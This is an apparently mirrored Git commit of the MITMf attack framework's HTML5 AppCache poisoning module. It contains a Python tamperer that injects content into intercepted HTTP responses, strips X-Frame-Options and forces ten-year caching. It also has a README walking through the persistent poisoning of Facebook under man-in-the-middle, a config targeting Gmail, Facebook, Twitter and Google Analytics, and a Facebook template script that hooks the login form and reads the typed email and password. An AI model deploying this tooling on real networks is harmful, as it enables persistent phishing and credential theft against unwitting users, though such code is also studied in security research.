mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-21 14:03:26 -07:00
initial commit
This commit is contained in:
parent
fbf31c220a
commit
6fa335183c
37 changed files with 2698 additions and 0 deletions
172
app_cache_poison/AppCachePoison.py
Executable file
172
app_cache_poison/AppCachePoison.py
Executable file
|
@ -0,0 +1,172 @@
|
|||
# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging, re, os.path, time
|
||||
from datetime import date
|
||||
from sslstrip.DummyResponseTamperer import DummyResponseTamperer
|
||||
|
||||
class AppCachePoison(DummyResponseTamperer):
|
||||
|
||||
'''
|
||||
AppCachePosion performs HTML5 AppCache poisioning attack - see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
|
||||
'''
|
||||
|
||||
mass_poisoned_browsers = []
|
||||
|
||||
def tamper(self, url, data, headers, req_headers, ip):
|
||||
if not self.isEnabled():
|
||||
return data
|
||||
|
||||
if "enable_only_in_useragents" in self.config:
|
||||
regexp = self.config["enable_only_in_useragents"]
|
||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||
logging.log(logging.DEBUG, "Tampering disabled in this useragent (%s)" % (req_headers["user-agent"]))
|
||||
return data
|
||||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
|
||||
(s,element,url) = self.getSectionForUrls(urls)
|
||||
if not s:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return data
|
||||
logging.log(logging.WARNING, "Found URL %s in section %s" % (url, s['__name__']))
|
||||
p = self.getTemplatePrefix(s)
|
||||
if element == 'tamper':
|
||||
logging.log(logging.WARNING, "Poisoning tamper URL with template %s" % (p))
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to body
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
|
||||
# add manifest reference
|
||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||
|
||||
elif element == "manifest":
|
||||
logging.log(logging.WARNING, "Poisoning manifest URL")
|
||||
data = self.getSpoofedManifest(url, s)
|
||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||
|
||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||
logging.log(logging.WARNING, "Poisoning raw URL")
|
||||
if os.path.exists(p + '.replace'): # replace whole content
|
||||
f = open(p + '.replace','r')
|
||||
data = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
|
||||
elif os.path.exists(p + '.append'): # append file to body
|
||||
f = open(p + '.append','r')
|
||||
appendix = self.decorate(f.read(), s)
|
||||
f.close()
|
||||
# append to response body
|
||||
data += appendix
|
||||
|
||||
self.cacheForFuture(headers)
|
||||
self.removeDangerousHeaders(headers)
|
||||
return data
|
||||
|
||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||
browser_id = ip + req_headers.get("user-agent", "")
|
||||
|
||||
if not 'mass_poison_url_match' in self.config: # no url
|
||||
return data
|
||||
if browser_id in self.mass_poisoned_browsers: #already poisoned
|
||||
return data
|
||||
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
|
||||
return data
|
||||
if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
|
||||
return data
|
||||
if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
|
||||
return data
|
||||
if not re.search(self.config['mass_poison_url_match'], url): #different url
|
||||
return data
|
||||
|
||||
logging.log(logging.WARNING, "Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
|
||||
appendix = self.getMassPoisonHtml()
|
||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
|
||||
return data
|
||||
|
||||
def getMassPoisonHtml(self):
|
||||
html = "<div style=\"position:absolute;left:-100px\">"
|
||||
for i in self.config:
|
||||
if isinstance(self.config[i], dict):
|
||||
if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
|
||||
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"
|
||||
|
||||
return html + "</div>"
|
||||
|
||||
def cacheForFuture(self, headers):
|
||||
ten_years = 315569260
|
||||
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
|
||||
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
|
||||
in_ten_years = date.fromtimestamp(time.time() + ten_years)
|
||||
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
|
||||
|
||||
def removeDangerousHeaders(self, headers):
|
||||
headers.removeHeader("X-Frame-Options")
|
||||
|
||||
def getSpoofedManifest(self, url, section):
|
||||
p = self.getTemplatePrefix(section)
|
||||
if not os.path.exists(p+'.manifest'):
|
||||
p = self.getDefaultTemplatePrefix()
|
||||
|
||||
f = open(p + '.manifest', 'r')
|
||||
manifest = f.read()
|
||||
f.close()
|
||||
return self.decorate(manifest, section)
|
||||
|
||||
def decorate(self, content, section):
|
||||
for i in section:
|
||||
content = content.replace("%%"+i+"%%", section[i])
|
||||
return content
|
||||
|
||||
def getTemplatePrefix(self, section):
|
||||
if section.has_key('templates'):
|
||||
return self.config['templates_path'] + '/' + section['templates']
|
||||
|
||||
return self.getDefaultTemplatePrefix()
|
||||
|
||||
def getDefaultTemplatePrefix(self):
|
||||
return self.config['templates_path'] + '/default'
|
||||
|
||||
def getManifestUrl(self, section):
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
||||
def getSectionForUrls(self, urls):
|
||||
for url in urls:
|
||||
for i in self.config:
|
||||
if isinstance(self.config[i], dict): #section
|
||||
section = self.config[i]
|
||||
if section.get('tamper_url',False) == url:
|
||||
return (section, 'tamper',url)
|
||||
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
|
||||
return (section, 'tamper',url)
|
||||
if section.get('manifest_url',False) == url:
|
||||
return (section, 'manifest',url)
|
||||
if section.get('raw_url',False) == url:
|
||||
return (section, 'raw',url)
|
||||
|
||||
return (False,'',urls.copy().pop())
|
||||
|
44
app_cache_poison/README
Normal file
44
app_cache_poison/README
Normal file
|
@ -0,0 +1,44 @@
|
|||
I've modified sslstrip to be able to tamper with server responses.
|
||||
|
||||
One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the
|
||||
modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues
|
||||
even after the victim is no longer MITMed.
|
||||
|
||||
Exemplary response tampering with HTML AppCachePoison:
|
||||
|
||||
1) python sslstrip.py -t app_cache_poison/config.ini
|
||||
|
||||
2) While under MITM, visit http://example.com to display tampered content
|
||||
|
||||
3) Visit http://www.facebook.com in AppCache supporting browser (Chrome, Firefox, Opera, Safari).
|
||||
In Firefox you have to agree to store offline content, Chrome does not display any confirmations.
|
||||
|
||||
4) Stop MITM, restart browser, go for coffee or holidays
|
||||
|
||||
5) Visit http://www.facebook.com again - the spoofed content is still there!
|
||||
|
||||
As a bonus, once google analytics HTTP version will be requested, the spoofed content of it will be cached for 10 years.
|
||||
|
||||
|
||||
EASY LOCAL TESTING MITM (for Ubuntu systems):
|
||||
|
||||
# create sslstrip admin user
|
||||
|
||||
# forward local traffic
|
||||
$ sudo ./testmitm.sh start `id -u sslstrip`
|
||||
|
||||
# run sslstrip to hijack traffic
|
||||
$ chown -R sslstrip /path/to/sslstrip/
|
||||
$ su sslstrip
|
||||
$ python sslstrip.py -t app_cache_poison/config.ini -p
|
||||
|
||||
# stop
|
||||
$ sudo ./testmitm.sh stop
|
||||
|
||||
|
||||
More info:
|
||||
http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
|
||||
|
||||
This functionality has been added by Krzysztof Kotowicz
|
||||
<kkotowicz at gmail dot com>
|
||||
|
0
app_cache_poison/__init__.py
Normal file
0
app_cache_poison/__init__.py
Normal file
57
app_cache_poison/config.ini
Normal file
57
app_cache_poison/config.ini
Normal file
|
@ -0,0 +1,57 @@
|
|||
[DEFAULT]
|
||||
; HTML5 AppCache poisioning attack
|
||||
; see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.
|
||||
; generic settings for tampering engine
|
||||
|
||||
enabled=True
|
||||
tamper_class=app_cache_poison.AppCachePoison
|
||||
;all settings below are specific for AppCachePoison
|
||||
|
||||
templates_path=app_cache_poison/templates
|
||||
;enable_only_in_useragents=Chrome|Firefox
|
||||
|
||||
; when visiting first url matching following expression we will embed iframes with all tamper URLs
|
||||
;(to poison the cache for all of them all at once)
|
||||
mass_poison_url_match=http://.*prezydent\.pl.*
|
||||
; it's only useful to mass poison chrome because:
|
||||
; - it supports iframe sandbox preventing framebusting
|
||||
; - does not ask for confirmation
|
||||
mass_poison_useragent_match=Chrome|Safari
|
||||
|
||||
[test]
|
||||
; any //example.com URL redirects to iana and will display our spoofed content
|
||||
tamper_url=http://example.com/
|
||||
manifest_url=http://www.iana.org/robots.txt ;use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!)
|
||||
templates=test ; which templates to use for spoofing content?
|
||||
skip_in_mass_poison=1
|
||||
|
||||
; use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here
|
||||
[gmail]
|
||||
tamper_url=http://mail.google.com/mail/
|
||||
; manifest has to be of last domain in redirect loop
|
||||
manifest_url=http://mail.google.com/robots.txt
|
||||
templates=default ; could be omitted
|
||||
|
||||
[facebook]
|
||||
tamper_url=http://www.facebook.com/
|
||||
manifest_url=http://www.facebook.com/robots.txt
|
||||
templates=facebook ; use different template
|
||||
|
||||
[twitter]
|
||||
tamper_url=http://twitter.com/
|
||||
;tamper_url_match=^http://(www\.)?twitter\.com/$
|
||||
manifest_url=http://twitter.com/robots.txt
|
||||
|
||||
[testing]
|
||||
tamper_url=http://www.html5rocks.com/en/
|
||||
manifest_url=http://www.html5rocks.com/robots.txt
|
||||
|
||||
; we can also modify non-HTML URLs to append malicious code to them
|
||||
; but for them to be cached in HTML5 AppCache they need to be referred in
|
||||
; manifest for a poisoned domain
|
||||
; if not, they are "only" cached for 10 years :D
|
||||
[ga]
|
||||
raw_url=http://www.google-analytics.com/ga.js
|
||||
templates=script
|
||||
skip_in_mass_poison=1
|
||||
;you can add other scripts in additional sections like jQuery etc.
|
38
app_cache_poison/templates/default.append
Normal file
38
app_cache_poison/templates/default.append
Normal file
|
@ -0,0 +1,38 @@
|
|||
<style type="text/css" media="screen">
|
||||
.aribbon {
|
||||
background-color: #a00;
|
||||
overflow: hidden;
|
||||
z-index: 1000;
|
||||
/* top left corner */
|
||||
position: absolute;
|
||||
left: -3em;
|
||||
top: 2.5em;
|
||||
/* 45 deg ccw rotation */
|
||||
-moz-transform: rotate(-45deg);
|
||||
-webkit-transform: rotate(-45deg);
|
||||
/* shadow */
|
||||
-moz-box-shadow: 0 0 1em #888;
|
||||
-webkit-box-shadow: 0 0 1em #888;
|
||||
}
|
||||
.aribbon a {
|
||||
border: 1px solid #faa;
|
||||
color: #fff;
|
||||
display: block;
|
||||
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
|
||||
margin: 0.05em 0 0.075em 0;
|
||||
padding: 0.5em 3.5em;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
/* shadow */
|
||||
text-shadow: 0 0 0.5em #444;
|
||||
}
|
||||
</style>
|
||||
<div class="aribbon">
|
||||
<a href="https://github.com/koto/sslstrip">
|
||||
AppCache poisoned
|
||||
</a>
|
||||
</div>
|
||||
<div style="padding: 1em;border:1px solid red;margin:1em">
|
||||
<h1>AppCache Poison works!</h1>
|
||||
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.</p>
|
||||
</div>
|
8
app_cache_poison/templates/default.manifest
Normal file
8
app_cache_poison/templates/default.manifest
Normal file
|
@ -0,0 +1,8 @@
|
|||
CACHE MANIFEST
|
||||
CACHE:
|
||||
%%tamper_url%%
|
||||
http://www.google-analytics.com/ga.js
|
||||
NETWORK:
|
||||
*
|
||||
http://*
|
||||
https://**
|
46
app_cache_poison/templates/facebook.append
Normal file
46
app_cache_poison/templates/facebook.append
Normal file
|
@ -0,0 +1,46 @@
|
|||
<style type="text/css" media="screen">
|
||||
.aribbon {
|
||||
background-color: #a00;
|
||||
overflow: hidden;
|
||||
z-index: 1000;
|
||||
/* top left corner */
|
||||
position: absolute;
|
||||
left: -3em;
|
||||
top: 2.5em;
|
||||
/* 45 deg ccw rotation */
|
||||
-moz-transform: rotate(-45deg);
|
||||
-webkit-transform: rotate(-45deg);
|
||||
/* shadow */
|
||||
-moz-box-shadow: 0 0 1em #888;
|
||||
-webkit-box-shadow: 0 0 1em #888;
|
||||
}
|
||||
.aribbon a {
|
||||
border: 1px solid #faa;
|
||||
color: #fff;
|
||||
display: block;
|
||||
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
|
||||
margin: 0.05em 0 0.075em 0;
|
||||
padding: 0.5em 3.5em;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
/* shadow */
|
||||
text-shadow: 0 0 0.5em #444;
|
||||
}
|
||||
</style>
|
||||
<div class="aribbon">
|
||||
<a href="https://github.com/koto/sslstrip">
|
||||
AppCache poisoned
|
||||
</a>
|
||||
</div>
|
||||
<div style="padding: 1em;border:1px solid red;margin:1em">
|
||||
<h1>We work on Facebook too!</h1>
|
||||
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create <code>facebook.append</code> or <code>facebook.replace</code> file and add your content there.</p>
|
||||
</div>
|
||||
<script>
|
||||
var f = document.getElementById('login_form').onsubmit;
|
||||
document.getElementById('login_form').onsubmit = function() {
|
||||
alert("Hello, " + document.getElementById('email').value + ' ' + document.getElementById('pass').value);
|
||||
return Event.__inlineSubmit(this,event);
|
||||
}
|
||||
</script>
|
||||
|
7
app_cache_poison/templates/facebook.manifest
Normal file
7
app_cache_poison/templates/facebook.manifest
Normal file
|
@ -0,0 +1,7 @@
|
|||
CACHE MANIFEST
|
||||
CACHE:
|
||||
%%tamper_url%%
|
||||
NETWORK:
|
||||
*
|
||||
http://*
|
||||
https://**
|
2
app_cache_poison/templates/script.append
Normal file
2
app_cache_poison/templates/script.append
Normal file
|
@ -0,0 +1,2 @@
|
|||
|
||||
;console.log('AppCache Poison was here. Google Analytics FTW');
|
49
app_cache_poison/templates/test.replace
Normal file
49
app_cache_poison/templates/test.replace
Normal file
|
@ -0,0 +1,49 @@
|
|||
<html>
|
||||
<style type="text/css" media="screen">
|
||||
.aribbon {
|
||||
background-color: #a00;
|
||||
overflow: hidden;
|
||||
z-index: 1000;
|
||||
/* top left corner */
|
||||
position: absolute;
|
||||
left: -3em;
|
||||
top: 2.5em;
|
||||
/* 45 deg ccw rotation */
|
||||
-moz-transform: rotate(-45deg);
|
||||
-webkit-transform: rotate(-45deg);
|
||||
/* shadow */
|
||||
-moz-box-shadow: 0 0 1em #888;
|
||||
-webkit-box-shadow: 0 0 1em #888;
|
||||
}
|
||||
.aribbon a {
|
||||
border: 1px solid #faa;
|
||||
color: #fff;
|
||||
display: block;
|
||||
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
|
||||
margin: 0.05em 0 0.075em 0;
|
||||
padding: 0.5em 3.5em;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
/* shadow */
|
||||
text-shadow: 0 0 0.5em #444;
|
||||
}
|
||||
|
||||
body { padding-left: 20em}
|
||||
</style>
|
||||
<div class="aribbon">
|
||||
<a href="https://github.com/koto/sslstrip">
|
||||
AppCache poisoned
|
||||
</a>
|
||||
</div>
|
||||
<h1>Hurray!</h1>
|
||||
<p>AppCache Poison by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a></p>
|
||||
|
||||
<p>If you're seeing this, <a href="http://github.com/koto/sslstrip">AppCache Poison</a> works correctly. Try going to <a href="http://facebook.com">http://facebook.com</a> to see it in action.</p>
|
||||
<script>
|
||||
if(!window.applicationCache) {
|
||||
document.write('<strong>Your browser does not support HTML5 AppCache though, cache poisoning won\'t work:(</strong>');
|
||||
}
|
||||
<!-- and poison ga -->
|
||||
<img src="http://www.google-analytics.com/ga.js" />
|
||||
</script>
|
||||
</html>
|
Loading…
Add table
Add a link
Reference in a new issue